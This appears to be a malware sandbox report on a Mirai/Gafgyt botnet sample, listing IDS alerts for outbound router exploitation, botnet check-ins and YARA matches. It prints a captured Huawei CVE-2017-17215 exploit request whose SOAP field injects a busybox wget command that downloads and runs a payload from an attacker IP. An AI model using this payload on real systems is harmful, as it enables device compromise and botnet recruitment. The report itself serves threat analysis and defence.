ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.91.246

Timestamp:	192.168.2.23156.254.91.24652064372152835222 07/11/23-01:49:38.501487
SID:	2835222
Source Port:	52064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.234.86.138

Timestamp:	192.168.2.2341.234.86.13858058372152835222 07/11/23-01:49:03.423864
SID:	2835222
Source Port:	58058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.130.77

Timestamp:	192.168.2.23156.225.130.7748486528692027339 07/11/23-01:49:34.809607
SID:	2027339
Source Port:	48486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.242.1

Timestamp:	192.168.2.23156.227.242.134610372152835222 07/11/23-01:49:09.167977
SID:	2835222
Source Port:	34610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.29.174

Timestamp:	192.168.2.23156.230.29.17438180372152835222 07/11/23-01:48:50.974712
SID:	2835222
Source Port:	38180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.50.75

Timestamp:	192.168.2.23156.254.50.7560972372152835222 07/11/23-01:49:14.959482
SID:	2835222
Source Port:	60972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.10.117

Timestamp:	192.168.2.23156.224.10.11736028528692027339 07/11/23-01:49:17.402040
SID:	2027339
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.36.115

Timestamp:	192.168.2.23156.254.36.11546904528692027339 07/11/23-01:48:49.358492
SID:	2027339
Source Port:	46904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.83.87

Timestamp:	192.168.2.23156.254.83.8752666528692027339 07/11/23-01:49:34.586102
SID:	2027339
Source Port:	52666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.42.128

Timestamp:	192.168.2.23197.234.42.12843830372152835222 07/11/23-01:48:38.000614
SID:	2835222
Source Port:	43830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.107.212

Timestamp:	192.168.2.23156.235.107.21251556528692027339 07/11/23-01:48:47.160475
SID:	2027339
Source Port:	51556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.36.9

Timestamp:	192.168.2.23156.254.36.956656372152835222 07/11/23-01:49:14.946314
SID:	2835222
Source Port:	56656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.73.24

Timestamp:	192.168.2.23156.254.73.2455912372152835222 07/11/23-01:49:17.565270
SID:	2835222
Source Port:	55912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.104.131

Timestamp:	192.168.2.23156.235.104.13153962372152835222 07/11/23-01:48:51.143515
SID:	2835222
Source Port:	53962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.15.137

Timestamp:	192.168.2.23156.224.15.13745838528692027339 07/11/23-01:49:09.658112
SID:	2027339
Source Port:	45838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.45.183

Timestamp:	192.168.2.23156.253.45.18357604372152835222 07/11/23-01:49:05.944011
SID:	2835222
Source Port:	57604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.68.74

Timestamp:	192.168.2.23156.254.68.7438518528692027339 07/11/23-01:49:26.605536
SID:	2027339
Source Port:	38518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.40.5

Timestamp:	192.168.2.23156.253.40.538706372152835222 07/11/23-01:49:25.377099
SID:	2835222
Source Port:	38706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 79.110.49.16 - Destination IP: 192.168.2.23

Timestamp:	79.110.49.16192.168.2.236666371782030489 07/11/23-01:49:22.946654
SID:	2030489
Source Port:	6666
Destination Port:	37178
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.230.20.44

Timestamp:	192.168.2.23156.230.20.4447424528692027339 07/11/23-01:49:08.181971
SID:	2027339
Source Port:	47424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.227.243.35

Timestamp:	192.168.2.23156.227.243.3535176528692027339 07/11/23-01:49:17.140631
SID:	2027339
Source Port:	35176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.83.221

Timestamp:	192.168.2.23156.254.83.22151122528692027339 07/11/23-01:49:01.462085
SID:	2027339
Source Port:	51122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.194.8.79

Timestamp:	192.168.2.2341.194.8.7959082528692027339 07/11/23-01:49:13.905509
SID:	2027339
Source Port:	59082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.73.49

Timestamp:	192.168.2.23156.254.73.4954444528692027339 07/11/23-01:49:01.272344
SID:	2027339
Source Port:	54444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.100.33

Timestamp:	192.168.2.23156.235.100.3334354372152835222 07/11/23-01:48:48.512048
SID:	2835222
Source Port:	34354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.16.163

Timestamp:	192.168.2.23156.247.16.16336092372152835222 07/11/23-01:48:54.379262
SID:	2835222
Source Port:	36092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.61.178

Timestamp:	192.168.2.23156.254.61.17855448372152835222 07/11/23-01:48:54.787947
SID:	2835222
Source Port:	55448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 79.110.49.16

Timestamp:	192.168.2.2379.110.49.163717866662030490 07/11/23-01:48:21.994267
SID:	2030490
Source Port:	37178
Destination Port:	6666
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.44.198

Timestamp:	192.168.2.23156.253.44.19852506372152835222 07/11/23-01:49:38.507783
SID:	2835222
Source Port:	52506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.227.240.190

Timestamp:	192.168.2.23156.227.240.19047508528692027339 07/11/23-01:49:31.166274
SID:	2027339
Source Port:	47508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 39 2e 31 31 30 2e 34 39 2e 31 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 79.110.49.16 -l /tmp/kh -r /huawei; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1e0c5ce0 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: skid.x86.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1e0c5ce0 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: Process Memory Space: skid.x86.elf PID: 6278, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1e0c5ce0 reference_sample = 5b1f95840caebf9721bf318126be27085ec08cf7881ec64a884211a934351c2d, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8e45538b59f9c9b8bc49661069044900c8199e487714c715c1b1f970fd528e3b, id = 1e0c5ce0-3b76-4da4-8bed-2e5036b6ce79, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: skid.x86.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
